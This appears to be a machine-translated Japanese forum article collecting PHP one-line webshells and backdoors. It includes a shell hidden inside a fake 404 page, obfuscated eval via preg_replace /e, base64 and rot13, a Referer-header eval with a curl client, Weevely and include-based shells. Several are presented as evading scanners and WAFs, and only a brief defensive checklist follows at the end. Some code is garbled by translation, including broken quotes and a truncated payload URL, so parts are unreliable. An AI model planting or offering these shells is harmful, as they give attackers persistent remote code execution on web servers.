私たちはこれらのPHPバックドアプログラムを学習心で扱っており、多くのPHPバックドアコードはプログラマーがどれほど善意であるかを把握できます。
強力なPHPバックドアを一文でまとめて
この種のバックドアはウェブサイトを可能にします。サーバー管理者は非常に厄介で、さまざまな検出を行うために方法を変えなければならないことが多く、多くの新しい書き込み技術は通常の検出方法では発見・処理できません。
今日は興味深いPHPトロイの木馬をいくつか挙げます。
1. 404ページを使ってPHPポニーを隠す:
[mw_shl_code=php、真実]<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404号機が見つからない</title> </head><body> <h1>見つかりませんでした</h1> <p>このサーバーでは、要求されたURLは見つかりませんでした。</p> </body></html> <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); ヘッダー('HTTP/1.1 404 Not Found'); ?>[/mw_shl_code]
404ページはウェブサイト上でよく使われるファイルで、推奨されている後も確認や修正を行う人は少ないため、これを使ってバックドアを隠すことができます。
2. 機能のない隠れたPHPを一文でまとめて:
[mw_shl_code=php,true]<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.' v’.‘ a’.‘ l’.‘ (base64_decode($_SESSION[\'theCode\']))','a'); ?>[/mw_shl_code]
$_POST['code']を$_SESSION['theCode']に割り当て、次に$_SESSION['theCode']を実行します。ただし、署名コードがないことがハイライトです。
スキャンツールを使ってコードを確認すれば、警報は鳴らず目標を達成します。
3. 超ステルスPHPバックドア:
[mw_shl_code=php,true]<?php $_GET[a]($_GET);?> [/mw_shl_code]
GET関数自体がトロイの木馬を構成します。
使い方:
[mw_shl_code=php、真実] ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28P[/mw_shl_code]
実行後、現在のディレクトリは文「トロイの木馬」をc.php生成します。パラメータAが評価されたとき、トロイの木馬生成が失敗した場合、アサートされるとエラーも報告されますが、トロイの木馬を生成します。これは過小評価できません。
レベル要求、PHPバックドアを実行するコード:
このメソッドはファイル1の2つのファイルで実装されます。
[mw_shl_code=php,true]<?php
//1.php header('Content-type:text/html; charset=utf-8′); parse_str($_SERVER['HTTP_REFERER']、$a); if(reset($a) == '10'&& count($a) == 9) { eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
} ?>[/mw_shl_code]
文書2
[mw_shl_code=php,true]<?php
//2.php header('Content-type:text/html; charset=utf-8′);
//要执行的代码 $code= <<<CODE phpinfo(); コード;
//进行base64编码 $code= base64_encode($code);
//构造referer字符串 $referer= "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url $url= 'http://localhost/test1/1.php'; $ch= curl_init(); $options= array( CURLOPT_URL => $url、 CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => 真、 CURLOPT_REFERER => $referer ); curl_setopt_array($ch、$options); echocurl_exec($ch); ?>[/mw_shl_code]
HTTPリクエストのHTTP_REFERERにbase64でエンコードされたコードを実行させてバックドア効果を達成します。
このアイデアを使ってWAFを回避するのは良いことです。
4.PHPバックドアジェネレーターツールを Weevely
weevelyはPHP専用のものですWebshellの無料ソフトウェアはtelnetに似た接続シェルのシミュレートに使えます。Weevelyは通常、ウェブプログラムの悪用、バックドアの隠蔽、またはウェブページベースの管理の代わりにtelnetのような手法を用いるために使用されます。Weevelyが生成するサーバー側のPHPコードはbase64でエンコードされているため、主流のウイルス対策ソフトやIDSを欺くことができます。 サーバーサイドのコードをアップロードすれば、通常はWeevelyを通じて直接実行できます。
バックドアで使われる関数は一般的に使われる文字列処理関数であり、検査ルールとして使われるevalやsystemのような関数はコードに直接表示されないため、バックドアファイルはバックドア検索ツールのチェックを回避できます。 ダークグループのウェブバックドア検出ツールでスキャンすると、ファイルが脅威にさらされていないことがわかります。
上記は一般的な導入であり、関連する使用方法についてはここでは紹介しません。単なる科学的普及化です。
4. 3つの変形した一文のPHPトロイの木馬 最初の例:
[mw_shl_code=php,true]<?php ($_=@$_GET[2]).@$_($_POST[1])?> [/mw_shl_code]
二つ目
[mw_shl_code=php,true]<?php $_=“”; $_[+“”]=”; $_=“$_”.“”; $_=($_[+“”]|“ ”). ($_[+“”]|“”). ($_[+“”]^“”); ?> <?php ${'_'.$_}['_'](${'_'.$_}['__']);?>[/mw_shl_code]
キッチンナイフにパスワードを書く http://site/2.php?_=assert&__=eval($_POST['pass'])はパスです。
包丁の追加データを使うとより隠れやすく、他の注射ツールを使うこともできます。なぜなら、それは後処理だからです。
三つ目の
[mw_shl_code=php、真実]($b 4dboy= $_POST['b4dboy']) & & @preg_replace('/ad/e','@'.str_rot13('riny')'.' ($b 4dboy)」、「加算」); [/mw_shl_code]
str_rot13(「リンニー」)はエンコードされた評価で、キーワードを完全に避けつつ効果を失わず、人々に血を吐かせるような効果を失わせます!
5. 最後に、いくつかの高度なPHPトロイの木馬バックドアを挙げます:
1、
[mw_shl_code=php,true]$hh=「p」です。 r”.“ e”.“ g”.“ _”.“ r”.“ e”.“ p”.“ l”.“ a”.“ c”.“ e”; $hh("/[discuz]/e",$_POST['h'],「アクセス」); [/mw_shl_code]
//菜刀一句话
2、
[mw_shl_code=php,true]$filename=$_GET['xbid']; include($filename); [/mw_shl_code]
//危险的include函数,直接编译任何文件为php格式运行
3、
[mw_shl_code=php,true]$reg="c"。」 o”.“ p”.“ y”; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); [/mw_shl_code]
//重命名任何文件
4、
[mw_shl_code=php,true]$gzid=「p」です。 r”.“ e”.“ g”.“ _”.“ r”.“ e”.“ p”.“ l”.“ a”.“ c”.“ e”; $gzid("/[discuz]/e",$_POST['h'],「アクセス」); [/mw_shl_code]
//菜刀一句话
5、
[mw_shl_code=php,true]include($uid); [/mw_shl_code]
//危险的include函数,直接编译任何文件为php格式运行,POST [mw_shl_code=php、true]www.xxx.com/index.php?uid=/home/www/bbs/image.gif [/mw_shl_code]
//gif插一句话
まとめると、これらのPHPバックドアは完成型と言えるもので、注意しなければ確実に騙されます。そして、本記事の最優先事項は何でしょうか? 主なポイントは以下の要約に記載されています!
PHPの一文バックドアへの対処法: いくつかの重要なポイントを強調します。この記事を読んでいただければ、素人ではないと思われるので、長々と話すのは控えます。
- PHPプログラムを書く際はセキュリティに注意してください
- サーバーログファイルは頻繁に読み込み、頻繁にバックアップする必要があります
- 各サイトごとに厳格な許可割り当て
- 動的ファイルやディレクトリの頻繁なバッチセキュリティレビュー
- 手動アンチウイルス「行動判断調査と殺害」の実施方法を学びましょう
- 続報を続けてください。あるいは、現役のサイバーセキュリティキャンプに潜入してください
- 関数でさえ、サーバー環境の階層的処理のルールとして利用できます
管理すべきサイトが増え、データ量が大量になると、補助的なツールを合理的に適用すべきだと考えていますが、これらのツールに完全に依存すべきではありません。技術は常に更新・進化しています。最も重要なのは、強力なバックドアの人々を書く思考を学び理解することです。トランスポジションの役割は、より大きな進歩をもたらすと感じています。
|